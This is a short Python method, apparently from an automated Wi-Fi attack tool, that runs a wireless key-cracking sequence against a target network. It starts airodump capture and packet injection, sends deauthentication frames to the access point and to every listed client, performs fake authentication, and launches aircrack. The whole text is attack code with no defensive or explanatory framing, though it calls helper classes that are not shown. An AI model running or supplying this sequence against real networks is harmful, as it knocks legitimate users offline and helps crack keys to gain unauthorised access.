def attack_start(self): logger.info( 'Starting attack on %s. I will try for %s seconds before giving up', self.target['essid'], settings.MAX_ATTACK_LENGTH) self.attack_begin = time.time() self.airodump_process = airodump(self.target['ch'], self.interface) self.aireplay_process = Injection(self.target['essid'], self.interface) Deauth(self.target['essid'], self.interface) for client in self.target['clients']: Deauth(self.target['essid'], self.interface, client) self.fakeauth_process = Fakeauth(self.target['essid'], self.interface) self.fakeauth_process.ready.wait() self.aircrack_process = Aircrack(self.target['essid'])